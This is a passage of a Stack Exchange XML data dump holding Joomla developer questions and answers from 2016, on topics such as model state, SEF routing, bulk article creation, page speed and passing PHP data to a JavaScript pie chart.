CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17614" PostTypeId="1" CreationDate="2016-08-21T21:52:51.737" Score="2" ViewCount="643" Body="&lt;p&gt;&lt;br&gt;&#xA;&lt;br&gt;&#xA;I have followed the article on the Joomla Developer Sites to create a sorting filter for my list (&lt;a href=&quot;https://docs.joomla.org/Adding_sortable_columns_to_a_table_in_a_component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_sortable_columns_to_a_table_in_a_component&lt;/a&gt;).&lt;br&gt;&#xA;&lt;br&gt;&#xA;But I cannot get it work. Step 2 explains how to get the State of the sorting. But the state is &lt;b&gt;NULL&lt;/b&gt; after calling get GetState-Method. Here is the Method I have used.&lt;br&gt;&#xA;&lt;code&gt;$state = $this-&gt;get('State');&lt;/code&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Best regards&#xA;tria1312&lt;/p&gt;&#xA;" OwnerUserId="8893" LastActivityDate="2016-08-21T22:02:11.800" Title="State is not populated to my View" Tags="|joomla-3.x|development|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17615" PostTypeId="2" ParentId="17614" CreationDate="2016-08-21T22:02:11.800" Score="2" Body="&lt;p&gt;The meaning of &lt;code&gt;$state = $this-&amp;gt;get('State');&lt;/code&gt; is &lt;code&gt;$state = $model-&amp;gt;getState();&lt;/code&gt; where $model is the current model of your view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your model is extending from &lt;code&gt;JModelList&lt;/code&gt;, all your state variables are automatically populated (provided correct values present in request). Otherwise populate the state in your model's populateState function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState ($ordering = 'sort_order', $direction = 'ASC')&#xA;{&#xA;  $orderCol = $app-&amp;gt;input-&amp;gt;get('filter_order', $ordering);&#xA;  $this-&amp;gt;setState('list.ordering', $orderCol);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: Never call getState function in populateState, which creates infinite loop.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-21T22:02:11.800" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17616" PostTypeId="2" ParentId="17612" CreationDate="2016-08-21T22:14:48.800" Score="1" Body="&lt;p&gt;BuildRoute function gets whatever the information you will pass to it. How you are creating your urls in your component? Like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = JRoute::_('index.php?option=com_mycomponent&amp;amp;view=myview&amp;amp;task=mytask&amp;amp;id=1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In above case the view parameter is passed with the url structure and hence the BuildRoute function knows how to get the view parameter. If you do not pass view paramter, it won't get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is accessed using menu item, check what is the link value of your menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, ParseRoute function gets its values from the sef url. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;url: &lt;code&gt;mywebsite.com/someslug/someother/1-idone.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above url has 3 parameters, someslug, someother and 1-idone. So it is upto you how do you parse them in your ParseRoute function. i.e. view/task/id or task/view/id or whatever the order that your component is generating them with BuildRoute function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above url structure is just an example and not baseline. It is completely upto you how you build your route and parse in opposite way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some suggestions if you are using Joomla 3 or above.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do not use JRequest::getVar, instead use JFactory::getApplication()-&gt;input-&gt;get functions.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-21T22:14:48.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17617" PostTypeId="2" ParentId="17598" CreationDate="2016-08-21T22:33:08.993" Score="2" Body="&lt;p&gt;The better way is to use JRoute which will take care of getting right url for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = JRoute::_('index.php?option=com_ajax&amp;amp;plugin=connectdaily&amp;amp;group=content', false, -1);&#xA;$url = str_replace('/administrator/', '/', $url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note the third parameter of JRoute, it is given intentionally to get the full site name instead of relative url. You can ommit 2nd and 3rd parameters if you don't want absolute url.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-21T22:33:08.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17618" PostTypeId="1" AcceptedAnswerId="17619" CreationDate="2016-08-22T05:35:05.850" Score="0" ViewCount="81" Body="&lt;p&gt;I would like to see my homepage hits in my &quot;Popular Articles&quot; module in Joomla backend, so I created a blank article titled &quot;Homepage&quot; and assigned it to my &quot;Home&quot; menu item and have starred this menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I can see the number of hits on my &quot;Homepage&quot; article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a good way of seeing my homepage hits? or is there a better way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="7171" LastActivityDate="2016-08-22T06:29:13.637" Title="&quot;Home&quot; Menu item - Assign blank article to see homepage hits?" Tags="|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17619" PostTypeId="2" ParentId="17618" CreationDate="2016-08-22T06:29:13.637" Score="2" Body="&lt;p&gt;I would suggest to use Google Analytics for tracking such statistics. It can provide insights into many more like which browsers, countries etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implementing Google Analytics is pretty easy.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sign up for Google Account&lt;/li&gt;&#xA;&lt;li&gt;Get the analytics JavaScript code from your Google Analytics site&lt;/li&gt;&#xA;&lt;li&gt;Add the code at the end of your page. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Most of the templates provides way to insert analytics code (or just your analytics account id to generate it themselves). If your template do not have this provision, you can use custom HTML module to insert code at the bottom of the page. It is a javascript code runs in background and will not show anything to your users.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-22T06:29:13.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17620" PostTypeId="1" AcceptedAnswerId="17621" CreationDate="2016-08-22T10:37:19.240" Score="1" ViewCount="212" Body="&lt;p&gt;when i switch the language of my site it takes me back to the home page and switches the language even if I'm in another page. I want it to stay on the same page that am opining and switch its language.&lt;/p&gt;&#xA;" OwnerUserId="8167" LastActivityDate="2016-08-22T11:52:01.693" Title="language switcher opens only the home page" Tags="|joomla-3.x|helix3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17621" PostTypeId="2" ParentId="17620" CreationDate="2016-08-22T11:52:01.693" Score="4" Body="&lt;p&gt;When you are in a inner page you have to be sure that that menu item has an association in the other language.&#xA;Otherwise you'll go to home page.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-08-22T11:52:01.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17622" PostTypeId="1" AcceptedAnswerId="17623" CreationDate="2016-08-22T15:08:14.643" Score="2" ViewCount="25" Body="&lt;p&gt;I use some mysql queries to retrieve data from a Jdatabase table as &lt;strong&gt;strings&lt;/strong&gt;.&#xA;Now I need to find the part of that string which doesn't match another string (&lt;em&gt;which actually is a sub-string of the main string&lt;/em&gt;). Its a bit confusing, but the below example will make it easy to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main String&lt;/strong&gt; : &lt;code&gt;23/CSE/4/2014&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sub-String&lt;/strong&gt;  : &lt;code&gt;/CSE/4/2014&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Required Output&lt;/em&gt;&lt;/strong&gt; : &lt;code&gt;23&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What would be the best way according to Joomla coding standards to&#xA;  achieve this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="383" LastActivityDate="2018-06-18T05:23:01.013" Title="Jdatabase: Finding part of the string which doesn't match $X string" Tags="|mysql|jdatabase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17623" PostTypeId="2" ParentId="17622" CreationDate="2016-08-22T15:22:55.960" Score="1" Body="&lt;p&gt;If the string will always be separated by forward slashes and you want to get the first value, you could explode into an array like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$string = '23/CSE/4/2014';&#xA;$array = explode('/', $string);&#xA;&#xA;echo $array[0]; // 23&#xA;echo $array[1]; // CSE&#xA;echo $array[2]; // 4&#xA;echo $array[3]; // 2014&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-08-22T15:22:55.960" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17624" PostTypeId="1" CreationDate="2016-08-22T15:41:55.140" Score="1" ViewCount="78" Body="&lt;p&gt;Joomla 3.6 + k2 2.7 hosted on my own linux server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming someone else's webmaster job. He has had hundreds of k2 items on hte site, with a major problem: most of the articles have some inline javascript snippet(jwplayer) to play videos in them, but the width and height of the video player are set to fixed numbers instead of percentage and aspectratio. Now it is up to me to fix this issue. Of course I can edit the items from back-end one by one, but there are hundreds of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the modification of each item follows a certain pattern, I think I should be able to do it programatically. There are 3 possible ways I can think of:&#xA; 1) Using phpmyadmin, directly edit the &lt;code&gt;k2_item&lt;/code&gt; table's &lt;code&gt;fulltext&lt;/code&gt; field. This is the most straightforward way, but I am not sure if directly editing database is going to cause some potential problem. Besides I am not very familiar with SQL, so I am reluctant to do it this way.&#xA; 2) Hardcode some PHP file, get connected with the database, read the &lt;code&gt;fulltext&lt;/code&gt; field, do the modification with PHP and put them back to the table. I am more comfortable with PHP, but I've never done such things before.&#xA; 3) Is there any extension that can accomplish such job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which approach would be the best practice?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-08-22T18:28:42.943" Title="What would be the best approach to modify multiple articles' content programatically?" Tags="|joomla-api|k2|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17625" PostTypeId="2" ParentId="17624" CreationDate="2016-08-22T15:44:24.983" Score="2" Body="&lt;p&gt;You can edit the K2 articles directly from the database using phpMyAdmin. That shouldn't be a problem. Just make sure you clear your Joomla and your browser cache in order to see the updated data. Also make sure you backup the table that you're updating first - since a global update on a table is typically hazardous.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-08-22T15:44:24.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17626" PostTypeId="1" AcceptedAnswerId="17633" CreationDate="2016-08-22T16:08:22.817" Score="5" ViewCount="3529" Body="&lt;p&gt;How should i improve my site's server response time?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Pq79g.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pq79g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on gtmetrix waterfall tab shows that my site spends 2.8 seconds on requesting part&#xA;how can i reduce this part's duration?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/s0VBD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s0VBD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="7394" LastEditDate="2016-08-26T14:38:02.940" LastActivityDate="2016-08-26T14:38:02.940" Title="how to reduce server response time" Tags="|joomla-3.x|performance|server-response-time|wpo|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17627" PostTypeId="2" ParentId="17598" CreationDate="2016-08-22T16:29:18.843" Score="1" Body="&lt;p&gt;I figured out what the real issue was here. For performance reasons, my code saves generated content in a local cache. So, the sequence of events was:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User A requests: &lt;a href=&quot;http://www.somedomain.st.us/calendar/&quot; rel=&quot;nofollow&quot;&gt;http://www.somedomain.st.us/calendar/&lt;/a&gt; and receives content which is stored in the cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User B requests: &lt;a href=&quot;http://www.somedomain.com/calendar/&quot; rel=&quot;nofollow&quot;&gt;http://www.somedomain.com/calendar/&lt;/a&gt; and receives cached content generated for user A with an AJAX url of &lt;a href=&quot;http://www.somedomain.st.us&quot; rel=&quot;nofollow&quot;&gt;http://www.somedomain.st.us&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When User B clicks on a control, the AJAX request fails because it's cross-domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, I'm going to try using the relative URL for AJAX. I've &lt;em&gt;encouraged&lt;/em&gt; the customer to stop using a virtual host/CNAME for www.somedomain.st.us and to instead configure a redirect for www.somedomain.st.us to www.somedomain.com.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-08-22T16:29:18.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17629" PostTypeId="2" ParentId="17624" CreationDate="2016-08-22T18:28:42.943" Score="1" Body="&lt;p&gt;Yes, there is a perfect extension for the job: &lt;a href=&quot;http://extensions.joomla.org/extension/db-replacer&quot; rel=&quot;nofollow&quot;&gt;Regular Labs (ex-NoNumber) DB Replacer&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used it successfully for years for similar tasks: batch Find &amp;amp; Replace of text in articles or K2 items directly in DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Highly recommended.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-08-22T18:28:42.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17630" PostTypeId="1" AcceptedAnswerId="17635" CreationDate="2016-08-22T19:55:40.240" Score="2" ViewCount="1748" Body="&lt;p&gt;I have seen this post and it was really helpful &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5359/create-categories-subcategories-and-articles-using-php&quot;&gt;Create categories, subcategories and articles using php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but I am not able to create articles by using same script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have modified the script but everytime its giving me this error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to undefined method CategoriesHelper::validateCategoryId()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to create bulk articles or add data to the joomla #__content table??&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-08-23T17:11:07.630" Title="How to create bulk articles by using php script?" Tags="|joomla-3.x|articles|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17631" PostTypeId="1" AcceptedAnswerId="19419" CreationDate="2016-08-22T21:40:57.267" Score="0" ViewCount="1048" Body="&lt;p&gt;I have been working on a Joomla site (latest versions of everything) for a while and i am now customising a page created with SP page builder. I have created the following html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;whats_on_summary&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;whats_on_short&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;When&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Where&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Who&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;whats_on_icon&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;{zen-calendar}{/zen-calendar}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{zen-map-marker}{/zen-map-marker}&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{zen-user}{/zen-user}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the following CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/****** Whats on summary page ********/&#xA;.whats_on_summary {&#xA;    width:100%;&#xA;    display:inline-block;&#xA;}&#xA;.whats_on_short {&#xA;    width: 20%;&#xA;  float: left;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To float the zen markers next to the text. This works in codepen, but when I assign the CSS to custom.css the changes are not showing (the custom.css is being loaded and is being used in various other areas of the site successfully. If i add the CSS in chrome dev tools again it works, as does if i select the complete css selector: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#sp-page-builder &amp;gt; div &amp;gt; section:nth-child(1) &amp;gt; div &amp;gt; div:nth-child(1) &amp;gt; div &amp;gt; div.sppb-addon.sppb-addon-text-block.sppb-text-left &amp;gt; div &amp;gt; div&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#sp-page-builder &amp;gt; div &amp;gt; section:nth-child(1) &amp;gt; div &amp;gt; div:nth-child(1) &amp;gt; div &amp;gt; div.sppb-addon.sppb-addon-text-block.sppb-text-left &amp;gt; div &amp;gt; div &amp;gt; div.whats_on_short&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above 2 lines are messy, and only apply to an individual 'whats_on_#' section, whereby i have multiple. Apart from having to code each section individually, which doesn't help when additional sections get added (which is planned), is there anything i can do? This is very odd, I must be missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your advise, Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-07-25T00:17:05.120" Title="Custom css override confusion - Styles not changing?" Tags="|joomla-3.x|css|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17633" PostTypeId="2" ParentId="17626" CreationDate="2016-08-23T00:34:59.940" Score="4" Body="&lt;p&gt;I recently reduced the server wait time on a client website from over 5 seconds to about a third of a second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What didn't help&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling the Joomla cache would probably have helped but this often causes issues for me with CAPTCHA's not working etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the free version of &lt;a href=&quot;http://extensions.joomla.org/extension/jch-optimize&quot;&gt;JCH Optimise&lt;/a&gt; to combine CSS and JavaScript files but there was very little improvement on this particular website (your mileage may vary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What did help&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from all the usual steps such as reducing the number of third party extensions, finding the fastest third party extensions, enabling GZip etc, there were two things that really helped:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Reducing the number of modules that are loaded&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There were a few places where I was able to reduce the number of modules I was loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I was able to combine several modules in the footer area (social sharing buttons, a footer menu, a copyright notice and developer credit, member signup and login buttons and a logo) into one Custom HTML module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;a href=&quot;http://www.rockettheme.com/docs/joomla/basic/creating_responsive_content.md#custom-responsive-grids&quot;&gt;responsive classes supplied with the template&lt;/a&gt; so that the columns still worked well responsively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to use the same trick in another area of the template, reducing three modules into one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This helped reduce the server wait time by a couple of seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Upgraded Hosting&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website was still too slow, so I convinced the client to upgrade their SiteGround &quot;Startup&quot; hosting account to the &quot;GrowBig&quot; account which includes an option to &lt;a href=&quot;https://www.siteground.com/tutorials/supercacher/dynamic_cache/&quot;&gt;enable dynamic cache&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once dynamic cache was enabled, the server wait time reduced to under a second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using dynamic cache on all my own websites and quite a few client websites and dynamic cache does not seem to interfere with CAPTCHA's etc or cause any other issues and I am using quite a range of different extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there are other improvements that can help but this is what worked for me.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-08-23T00:34:59.940" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17634" PostTypeId="1" AcceptedAnswerId="17641" CreationDate="2016-08-23T02:06:46.910" Score="1" ViewCount="1366" Body="&lt;p&gt;&lt;a href=&quot;http://www.weiwei-tv.com/scroll.php&quot; rel=&quot;nofollow&quot;&gt;http://www.weiwei-tv.com/scroll.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the video shows, I go to language-&gt;installed-&gt;administration and change the default language to en-US, although the message is in English, the menu items won't change back to English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I clear Joomla's cache, change to a new browser, although the login page is in English, the back-end menu items are still not. I just began to manage this website which is built by other and I never had any trouble switching languages on my own sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2016-08-28T06:42:01.807" Title="joomla 3.6 admin language won't change" Tags="|joomla-3.x|language|administration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17635" PostTypeId="2" ParentId="17630" CreationDate="2016-08-23T06:40:51.193" Score="3" Body="&lt;p&gt;I also faced the similar issue once and I modified the code as following which worked for me. You also need to pass the &lt;code&gt;access&lt;/code&gt; and &lt;code&gt;metadata&lt;/code&gt; in the article parameters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article_data = array(&#xA;    'id' =&amp;gt; 0,&#xA;    'catid' =&amp;gt; 2,&#xA;    'title' =&amp;gt; 'My article title',&#xA;    'alias' =&amp;gt; 'my-article-alias',&#xA;    'introtext' =&amp;gt; 'My intro text',&#xA;    'fulltext' =&amp;gt; 'My full text',&#xA;    'state' =&amp;gt; 1, //if you want to keep the article published else 0&#xA;    'alias' =&amp;gt; 'my-article-alias',&#xA;    'state'=&amp;gt;1,&#xA;    'language' =&amp;gt; '*',&#xA;    'access' =&amp;gt; 1,&#xA;    'metadata' =&amp;gt; json_encode(array('author' =&amp;gt; '', 'robots' =&amp;gt; ''))&#xA;);&#xA;&#xA;$article_id = createArticle($article_data);&#xA;if(!$article_id){&#xA;    echo &quot;Article create failed!&quot;;&#xA;}&#xA;else{&#xA;    echo 'Article created';&#xA;}&#xA;&#xA;function createArticle($data)&#xA;{&#xA;    $data['rules'] = array(&#xA;        'core.edit.delete' =&amp;gt; array(),&#xA;        'core.edit.edit' =&amp;gt; array(),&#xA;        'core.edit.state' =&amp;gt; array(),&#xA;    );&#xA;&#xA;    $basePath = JPATH_ADMINISTRATOR.'/components/com_content';&#xA;    require_once $basePath.'/models/article.php';&#xA;    $article_model =  JModelLegacy::getInstance('Article','ContentModel');&#xA;    // or  $config= array(); $article_model =  new ContentModelArticle($config);&#xA;    if(!$article_model-&amp;gt;save($data)){&#xA;        $err_msg = $article_model-&amp;gt;getError();&#xA;        return false;&#xA;    }else{&#xA;        $id = $article_model-&amp;gt;getItem()-&amp;gt;id;&#xA;        return $id;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: For static, it will work only once as article article alias needs to be unique.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-08-23T06:40:51.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17636" PostTypeId="1" AcceptedAnswerId="17637" CreationDate="2016-08-23T09:15:19.240" Score="0" ViewCount="222" Body="&lt;p&gt;I want to use this &lt;a href=&quot;http://codepen.io/ivanrafael/pen/exsaq&quot; rel=&quot;nofollow&quot;&gt;SVG Pie Chart&lt;/a&gt; on my Joomla site but the problem is I need to access data from &lt;code&gt;Jdatabase&lt;/code&gt; and feed it to its &lt;strong&gt;index.js&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function(){&#xA;  $(&quot;#pieChart&quot;).drawPieChart([&#xA;    { title: &quot;Cash&quot;,              value : 40,  color: &quot;#2C3E50&quot; },&#xA;    { title: &quot;Fixed Interest&quot;,    value:  8,   color: &quot;#fe4400&quot; },&#xA;    { title: &quot;Property&quot;,          value:  24,   color: &quot;#018ab6&quot; },&#xA;    { title: &quot;Australian shares&quot;, value : 16,   color: &quot;#fff100&quot; },&#xA;    { title: &quot;Intl. shares&quot;,      value : 12,   color: &quot;#D7DADB&quot; }&#xA;  ]);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need &lt;strong&gt;variables&lt;/strong&gt; having Jdatabase data instead of &lt;code&gt;40&lt;/code&gt;,&lt;code&gt;8&lt;/code&gt;,&lt;code&gt;24&lt;/code&gt;,&lt;code&gt;16&lt;/code&gt;,&lt;code&gt;12&lt;/code&gt; in the above code. Do I need to pass variable from &lt;code&gt;PHP module&lt;/code&gt; to &lt;code&gt;index.js&lt;/code&gt; file or directly access Jdatabase via &lt;code&gt;index.js&lt;/code&gt;? In any case, how to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2018-06-18T04:59:45.823" Title="Accessing Jdatabase via JavaScript Or Passing PHP varibles to JavaScript" Tags="|mysql|javascript|jdatabase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17637" PostTypeId="2" ParentId="17636" CreationDate="2016-08-23T09:25:23.897" Score="1" Body="&lt;p&gt;Quite simple, simply put the jQuery code you're using to call the Pie Chart (NOT the entire Pie Chart library) inside the module's &lt;code&gt;default.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $foo1 = 40;&#xA;    $foo2 = 8;&#xA;    $foo3 = 24;&#xA;    $foo4 = 16;&#xA;    $foo5 = 12;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;$(function(){&#xA;  $(&quot;#pieChart&quot;).drawPieChart([&#xA;    { title: &quot;Cash&quot;,              value : &amp;lt;?php echo $foo1; ?&amp;gt;,   color: &quot;#2C3E50&quot; },&#xA;    { title: &quot;Fixed Interest&quot;,    value:  &amp;lt;?php echo $foo2; ?&amp;gt;,   color: &quot;#fe4400&quot; },&#xA;    { title: &quot;Property&quot;,          value:  &amp;lt;?php echo $foo3; ?&amp;gt;,   color: &quot;#018ab6&quot; },&#xA;    { title: &quot;Australian shares&quot;, value : &amp;lt;?php echo $foo4; ?&amp;gt;,   color: &quot;#fff100&quot; },&#xA;    { title: &quot;Intl. shares&quot;,      value : &amp;lt;?php echo $foo5; ?&amp;gt;,   color: &quot;#D7DADB&quot; }&#xA;  ]);&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could use &lt;code&gt;addScriptDeclaration()&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $foo1 = 40;&#xA;    $foo2 = 8;&#xA;    $foo3 = 24;&#xA;    $foo4 = 16;&#xA;    $foo5 = 12;&#xA;&#xA;    JFactory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;        $(function(){&#xA;           $(&quot;#pieChart&quot;).drawPieChart([&#xA;             { title: &quot;Cash&quot;,              value : ' . $foo1 . ',   color: &quot;#2C3E50&quot; },&#xA;             { title: &quot;Fixed Interest&quot;,    value : ' . $foo2 . ',   color: &quot;#fe4400&quot; },&#xA;             { title: &quot;Property&quot;,          value : ' . $foo3 . ',   color: 